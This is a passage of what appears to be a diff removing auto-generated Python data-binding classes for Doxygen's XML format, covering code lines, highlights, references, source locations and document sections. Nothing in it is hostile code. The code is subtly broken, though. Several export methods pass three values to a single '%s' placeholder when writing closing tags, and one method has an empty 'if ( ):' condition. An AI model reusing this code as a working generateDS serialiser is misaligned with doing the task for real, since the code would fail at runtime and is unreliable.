get_lineno(self): - return self.lineno - def set_lineno(self, lineno): - self.lineno = lineno - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_refkind(self): - return self.refkind - def set_refkind(self, refkind): - self.refkind = refkind - def get_external(self): - return self.external - def set_external(self, external): - self.external = external - def validate_DoxRefKind(self, value): - # Validate type DoxRefKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['compound', 'member'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxRefKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.highlight - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='codelineType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('codelineType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'codelineType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='codelineType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='codelineType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='codelineType'): - if self.lineno is not None and 'lineno' not in already_processed: - already_processed.add('lineno') - outfile.write(' lineno="%s"' % self.gds_format_integer(self.lineno, input_name='lineno')) - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.refkind is not None and 'refkind' not in already_processed: - already_processed.add('refkind') - outfile.write(' refkind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refkind), input_name='refkind')), )) - if self.external is not None and 'external' not in already_processed: - already_processed.add('external') - outfile.write(' external=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.external), input_name='external')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='codelineType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for highlight_ in self.highlight: - namespaceprefix_ = self.highlight_nsprefix_ + ':' if (UseCapturedNS_ and self.highlight_nsprefix_) else '' - highlight_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='highlight', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('lineno', node) - if value is not None and 'lineno' not in already_processed: - already_processed.add('lineno') - self.lineno = self.gds_parse_integer(value, node, 'lineno') - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('refkind', node) - if value is not None and 'refkind' not in already_processed: - already_processed.add('refkind') - self.refkind = value - self.validate_DoxRefKind(self.refkind) # validate type DoxRefKind - value = find_attr_value_('external', node) - if value is not None and 'external' not in already_processed: - already_processed.add('external') - self.external = value - self.validate_DoxBool(self.external) # validate type DoxBool - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'highlight': - obj_ = highlightType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.highlight.append(obj_) - obj_.original_tagname_ = 'highlight' -# end class codelineType - - -class highlightType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, class_=None, sp=None, ref=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.class_ = _cast(None, class_) - self.class__nsprefix_ = None - if sp is None: - self.sp = [] - else: - self.sp = sp - self.sp_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, highlightType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if highlightType.subclass: - return highlightType.subclass(*args_, **kwargs_) - else: - return highlightType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_sp(self): - return self.sp - def set_sp(self, sp): - self.sp = sp - def add_sp(self, value): - self.sp.append(value) - def insert_sp_at(self, index, value): - self.sp.insert(index, value) - def replace_sp_at(self, index, value): - self.sp[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_class(self): - return self.class_ - def set_class(self, class_): - self.class_ = class_ - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxHighlightClass(self, value): - # Validate type DoxHighlightClass, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['comment', 'normal', 'preprocessor', 'keyword', 'keywordtype', 'keywordflow', 'stringliteral', 'xmlcdata', 'charliteral', 'vhdlkeyword', 'vhdllogic', 'vhdlchar', 'vhdldigit'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxHighlightClass' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.sp or - self.ref or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='highlightType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('highlightType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'highlightType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='highlightType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='highlightType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='highlightType'): - if self.class_ is not None and 'class_' not in already_processed: - already_processed.add('class_') - outfile.write(' class=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.class_), input_name='class')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='highlightType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for sp_ in self.sp: - namespaceprefix_ = self.sp_nsprefix_ + ':' if (UseCapturedNS_ and self.sp_nsprefix_) else '' - sp_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sp', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('class', node) - if value is not None and 'class' not in already_processed: - already_processed.add('class') - self.class_ = value - self.validate_DoxHighlightClass(self.class_) # validate type DoxHighlightClass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'sp': - obj_ = spType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sp', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sp'): - self.add_sp(obj_.value) - elif hasattr(self, 'set_sp'): - self.set_sp(obj_.value) - elif nodeName_ == 'ref': - obj_ = refTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class highlightType - - -class spType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, value=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.value = _cast(int, value) - self.value_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, spType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if spType.subclass: - return spType.subclass(*args_, **kwargs_) - else: - return spType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_value(self): - return self.value - def set_value(self, value): - self.value = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='spType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('spType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'spType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='spType') - outfile.write('>') - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_, pretty_print=pretty_print) - outfile.write(self.convert_unicode(self.valueOf_)) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='spType'): - if self.value is not None and 'value' not in already_processed: - already_processed.add('value') - outfile.write(' value="%s"' % self.gds_format_integer(self.value, input_name='value')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='spType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('value', node) - if value is not None and 'value' not in already_processed: - already_processed.add('value') - self.value = self.gds_parse_integer(value, node, 'value') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) - pass -# end class spType - - -class referenceType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, compoundref=None, startline=None, endline=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.compoundref = _cast(None, compoundref) - self.compoundref_nsprefix_ = None - self.startline = _cast(int, startline) - self.startline_nsprefix_ = None - self.endline = _cast(int, endline) - self.endline_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, referenceType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if referenceType.subclass: - return referenceType.subclass(*args_, **kwargs_) - else: - return referenceType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_compoundref(self): - return self.compoundref - def set_compoundref(self, compoundref): - self.compoundref = compoundref - def get_startline(self): - return self.startline - def set_startline(self, startline): - self.startline = startline - def get_endline(self): - return self.endline - def set_endline(self, endline): - self.endline = endline - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='referenceType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('referenceType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'referenceType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='referenceType') - outfile.write('>') - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_, pretty_print=pretty_print) - outfile.write(self.convert_unicode(self.valueOf_)) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='referenceType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.compoundref is not None and 'compoundref' not in already_processed: - already_processed.add('compoundref') - outfile.write(' compoundref=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.compoundref), input_name='compoundref')), )) - if self.startline is not None and 'startline' not in already_processed: - already_processed.add('startline') - outfile.write(' startline="%s"' % self.gds_format_integer(self.startline, input_name='startline')) - if self.endline is not None and 'endline' not in already_processed: - already_processed.add('endline') - outfile.write(' endline="%s"' % self.gds_format_integer(self.endline, input_name='endline')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='referenceType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('compoundref', node) - if value is not None and 'compoundref' not in already_processed: - already_processed.add('compoundref') - self.compoundref = value - value = find_attr_value_('startline', node) - if value is not None and 'startline' not in already_processed: - already_processed.add('startline') - self.startline = self.gds_parse_integer(value, node, 'startline') - value = find_attr_value_('endline', node) - if value is not None and 'endline' not in already_processed: - already_processed.add('endline') - self.endline = self.gds_parse_integer(value, node, 'endline') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) - pass -# end class referenceType - - -class locationType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, file=None, line=None, column=None, declfile=None, declline=None, declcolumn=None, bodyfile=None, bodystart=None, bodyend=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.file = _cast(None, file) - self.file_nsprefix_ = None - self.line = _cast(int, line) - self.line_nsprefix_ = None - self.column = _cast(int, column) - self.column_nsprefix_ = None - self.declfile = _cast(None, declfile) - self.declfile_nsprefix_ = None - self.declline = _cast(int, declline) - self.declline_nsprefix_ = None - self.declcolumn = _cast(int, declcolumn) - self.declcolumn_nsprefix_ = None - self.bodyfile = _cast(None, bodyfile) - self.bodyfile_nsprefix_ = None - self.bodystart = _cast(int, bodystart) - self.bodystart_nsprefix_ = None - self.bodyend = _cast(int, bodyend) - self.bodyend_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, locationType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if locationType.subclass: - return locationType.subclass(*args_, **kwargs_) - else: - return locationType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_file(self): - return self.file - def set_file(self, file): - self.file = file - def get_line(self): - return self.line - def set_line(self, line): - self.line = line - def get_column(self): - return self.column - def set_column(self, column): - self.column = column - def get_declfile(self): - return self.declfile - def set_declfile(self, declfile): - self.declfile = declfile - def get_declline(self): - return self.declline - def set_declline(self, declline): - self.declline = declline - def get_declcolumn(self): - return self.declcolumn - def set_declcolumn(self, declcolumn): - self.declcolumn = declcolumn - def get_bodyfile(self): - return self.bodyfile - def set_bodyfile(self, bodyfile): - self.bodyfile = bodyfile - def get_bodystart(self): - return self.bodystart - def set_bodystart(self, bodystart): - self.bodystart = bodystart - def get_bodyend(self): - return self.bodyend - def set_bodyend(self, bodyend): - self.bodyend = bodyend - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='locationType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('locationType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'locationType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='locationType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='locationType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='locationType'): - if self.file is not None and 'file' not in already_processed: - already_processed.add('file') - outfile.write(' file=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.file), input_name='file')), )) - if self.line is not None and 'line' not in already_processed: - already_processed.add('line') - outfile.write(' line="%s"' % self.gds_format_integer(self.line, input_name='line')) - if self.column is not None and 'column' not in already_processed: - already_processed.add('column') - outfile.write(' column="%s"' % self.gds_format_integer(self.column, input_name='column')) - if self.declfile is not None and 'declfile' not in already_processed: - already_processed.add('declfile') - outfile.write(' declfile=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.declfile), input_name='declfile')), )) - if self.declline is not None and 'declline' not in already_processed: - already_processed.add('declline') - outfile.write(' declline="%s"' % self.gds_format_integer(self.declline, input_name='declline')) - if self.declcolumn is not None and 'declcolumn' not in already_processed: - already_processed.add('declcolumn') - outfile.write(' declcolumn="%s"' % self.gds_format_integer(self.declcolumn, input_name='declcolumn')) - if self.bodyfile is not None and 'bodyfile' not in already_processed: - already_processed.add('bodyfile') - outfile.write(' bodyfile=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.bodyfile), input_name='bodyfile')), )) - if self.bodystart is not None and 'bodystart' not in already_processed: - already_processed.add('bodystart') - outfile.write(' bodystart="%s"' % self.gds_format_integer(self.bodystart, input_name='bodystart')) - if self.bodyend is not None and 'bodyend' not in already_processed: - already_processed.add('bodyend') - outfile.write(' bodyend="%s"' % self.gds_format_integer(self.bodyend, input_name='bodyend')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='locationType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('file', node) - if value is not None and 'file' not in already_processed: - already_processed.add('file') - self.file = value - value = find_attr_value_('line', node) - if value is not None and 'line' not in already_processed: - already_processed.add('line') - self.line = self.gds_parse_integer(value, node, 'line') - value = find_attr_value_('column', node) - if value is not None and 'column' not in already_processed: - already_processed.add('column') - self.column = self.gds_parse_integer(value, node, 'column') - value = find_attr_value_('declfile', node) - if value is not None and 'declfile' not in already_processed: - already_processed.add('declfile') - self.declfile = value - value = find_attr_value_('declline', node) - if value is not None and 'declline' not in already_processed: - already_processed.add('declline') - self.declline = self.gds_parse_integer(value, node, 'declline') - value = find_attr_value_('declcolumn', node) - if value is not None and 'declcolumn' not in already_processed: - already_processed.add('declcolumn') - self.declcolumn = self.gds_parse_integer(value, node, 'declcolumn') - value = find_attr_value_('bodyfile', node) - if value is not None and 'bodyfile' not in already_processed: - already_processed.add('bodyfile') - self.bodyfile = value - value = find_attr_value_('bodystart', node) - if value is not None and 'bodystart' not in already_processed: - already_processed.add('bodystart') - self.bodystart = self.gds_parse_integer(value, node, 'bodystart') - value = find_attr_value_('bodyend', node) - if value is not None and 'bodyend' not in already_processed: - already_processed.add('bodyend') - self.bodyend = self.gds_parse_integer(value, node, 'bodyend') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class locationType - - -class docSect1Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, title=None, para=None, internal=None, sect2=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if internal is None: - self.internal = [] - else: - self.internal = internal - self.internal_nsprefix_ = None - if sect2 is None: - self.sect2 = [] - else: - self.sect2 = sect2 - self.sect2_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSect1Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSect1Type.subclass: - return docSect1Type.subclass(*args_, **kwargs_) - else: - return docSect1Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def add_internal(self, value): - self.internal.append(value) - def insert_internal_at(self, index, value): - self.internal.insert(index, value) - def replace_internal_at(self, index, value): - self.internal[index] = value - def get_sect2(self): - return self.sect2 - def set_sect2(self, sect2): - self.sect2 = sect2 - def add_sect2(self, value): - self.sect2.append(value) - def insert_sect2_at(self, index, value): - self.sect2.insert(index, value) - def replace_sect2_at(self, index, value): - self.sect2[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.title is not None or - self.para or - self.internal or - self.sect2 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect1Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSect1Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSect1Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - 